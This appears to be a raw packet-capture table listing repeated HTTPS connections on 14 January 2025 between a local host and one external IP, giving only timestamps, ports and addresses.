Jan 14, 2025 08:24:28.388411045 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.388489008 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.388712883 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.388729095 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.388741016 CET	50028	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.388747931 CET	443	50028	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.503535986 CET	50037	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.503578901 CET	443	50037	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.503690958 CET	50037	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.503812075 CET	50037	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.504005909 CET	443	50037	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.504236937 CET	50037	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.506485939 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.506524086 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:28.506592035 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.506993055 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:28.507005930 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.395488024 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.395591974 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.400979042 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.400990963 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.401948929 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.403685093 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.447345018 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.967680931 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.967983007 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.968071938 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.968122959 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.968135118 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:29.968153000 CET	50038	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:29.968159914 CET	443	50038	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:30.088661909 CET	50049	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.088701963 CET	443	50049	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:30.088769913 CET	50049	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.088933945 CET	50049	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.088979006 CET	443	50049	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:30.089029074 CET	50049	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.092256069 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.092299938 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:30.092358112 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.092730045 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:30.092744112 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.000735998 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.000833035 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.002218962 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.002230883 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.002485037 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.003751993 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.047338963 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.602633953 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.602713108 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.602807999 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.614985943 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.615008116 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.615021944 CET	50050	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.615027905 CET	443	50050	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.731303930 CET	50060	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.731359959 CET	443	50060	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.731447935 CET	50060	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.763906002 CET	50060	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.764087915 CET	443	50060	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.764154911 CET	50060	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.879707098 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.879751921 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:31.879832029 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.880278111 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:31.880290985 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:32.796968937 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:32.797139883 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:32.798552036 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:32.798564911 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:32.799046040 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:32.800376892 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:32.847332954 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.384210110 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.384473085 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.384531021 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.384619951 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.384643078 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.384659052 CET	50061	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.384665966 CET	443	50061	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.498342037 CET	50072	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.498359919 CET	443	50072	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.504540920 CET	50072	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.504693031 CET	50072	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.504736900 CET	443	50072	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.507210970 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.507245064 CET	50072	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.507283926 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:33.507366896 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.507669926 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:33.507685900 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.394615889 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.394718885 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.482124090 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.482157946 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.482511044 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.499901056 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.547341108 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.973100901 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.973175049 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.973229885 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.973376989 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.973402977 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:34.973419905 CET	50073	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:34.973428011 CET	443	50073	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.088541031 CET	50085	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.088563919 CET	443	50085	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.088654995 CET	50085	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.089107037 CET	50085	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.089154005 CET	443	50085	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.089209080 CET	50085	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.091705084 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.091713905 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.091804028 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.092097998 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.092112064 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.989583015 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.989680052 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.992301941 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:35.992320061 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.993093967 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:35.994450092 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.039335966 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.579085112 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.579494953 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.579561949 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.579637051 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.579658031 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.579669952 CET	50087	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.579677105 CET	443	50087	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.693454981 CET	50098	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.693501949 CET	443	50098	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.693614960 CET	50098	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.693738937 CET	50098	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.693784952 CET	443	50098	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.693849087 CET	50098	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.696281910 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.696333885 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:36.696429014 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.696738005 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:36.696757078 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:37.609285116 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:37.609405994 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:37.610996008 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:37.611010075 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:37.611541986 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:37.612847090 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:37.659336090 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.202656031 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.203819036 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.203898907 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.203972101 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.203998089 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.204015970 CET	50099	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.204024076 CET	443	50099	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.319717884 CET	50111	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.319758892 CET	443	50111	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.319817066 CET	50111	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.319940090 CET	50111	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.320025921 CET	443	50111	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.320086956 CET	50111	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.322590113 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.322618961 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:38.322680950 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.323035002 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:38.323050976 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.409770966 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.409907103 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.411761045 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.411773920 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.412538052 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.414457083 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.459328890 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.990178108 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.990353107 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.990425110 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.990531921 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.990550995 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:39.990562916 CET	50112	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:39.990569115 CET	443	50112	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:40.104901075 CET	50123	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.104948044 CET	443	50123	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:40.105031967 CET	50123	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.105145931 CET	50123	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.105242014 CET	443	50123	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:40.105307102 CET	50123	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.144716978 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.144761086 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:40.144846916 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.145441055 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:40.145457983 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.055238962 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.055358887 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.056858063 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.056873083 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.057693005 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.059206009 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.103337049 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.645761013 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.646298885 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.646378994 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.646445036 CET	50124	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.646464109 CET	443	50124	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.760797977 CET	50128	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.760855913 CET	443	50128	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.760982990 CET	50128	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.761105061 CET	50128	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.761147976 CET	443	50128	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.761207104 CET	50128	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.763561010 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.763624907 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:41.763688087 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.764090061 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:41.764103889 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:42.806720018 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:42.806840897 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:42.808384895 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:42.808392048 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:42.808628082 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:42.810049057 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:42.851334095 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.397944927 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.398300886 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.398392916 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.403131008 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.403156996 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.403172016 CET	50129	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.403177977 CET	443	50129	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.517445087 CET	50130	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.517486095 CET	443	50130	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.517548084 CET	50130	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.517646074 CET	50130	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.517714024 CET	443	50130	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.517765999 CET	50130	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.520332098 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.520370007 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:43.520446062 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.520773888 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:43.520787001 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:44.404654980 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:44.404773951 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:44.406404018 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:44.406414986 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:44.406666994 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:44.407911062 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:44.451361895 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.716167927 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.716249943 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.716316938 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.716773033 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.716790915 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.716813087 CET	50131	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.716821909 CET	443	50131	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.833286047 CET	50132	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.833376884 CET	443	50132	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.833444118 CET	50132	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.833554983 CET	50132	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.833602905 CET	443	50132	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.833653927 CET	50132	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.838838100 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.838879108 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:45.839128971 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.839355946 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:45.839370012 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:46.721091986 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:46.721261978 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:46.722910881 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:46.722927094 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:46.723201036 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:46.724498034 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:46.771323919 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.295675039 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.296036005 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.296142101 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.296180010 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.296200037 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.296227932 CET	50133	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.296235085 CET	443	50133	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.411247015 CET	50134	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.411309004 CET	443	50134	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.411438942 CET	50134	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.411555052 CET	50134	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.411593914 CET	443	50134	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.411653996 CET	50134	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.414522886 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.414557934 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:47.414639950 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.415055990 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:47.415075064 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.303787947 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.303889036 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.317364931 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.317385912 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.317708969 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.319782019 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.363331079 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.889873981 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.890038967 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.890099049 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.890137911 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.890160084 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:48.890171051 CET	50135	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:48.890177011 CET	443	50135	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.004077911 CET	50136	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.004112005 CET	443	50136	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.004189014 CET	50136	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.004309893 CET	50136	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.004343987 CET	443	50136	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.004396915 CET	50136	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.008208990 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.008236885 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.008313894 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.008624077 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.008630037 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.895935059 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.896063089 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.897437096 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.897455931 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.898255110 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:49.899581909 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:49.947325945 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.472816944 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.473218918 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.473287106 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.473336935 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.473345995 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.473366976 CET	50137	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.473371983 CET	443	50137	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.586378098 CET	50138	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.586446047 CET	443	50138	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.586539030 CET	50138	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.586764097 CET	50138	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.586818933 CET	443	50138	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.586884022 CET	50138	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.591006994 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.591058969 CET	443	50139	166.62.27.188	192.168.2.4
Jan 14, 2025 08:24:50.591172934 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.591538906 CET	50139	443	192.168.2.4	166.62.27.188
Jan 14, 2025 08:24:50.591558933 CET	443	50139	166.62.27.188	192.168.2.4
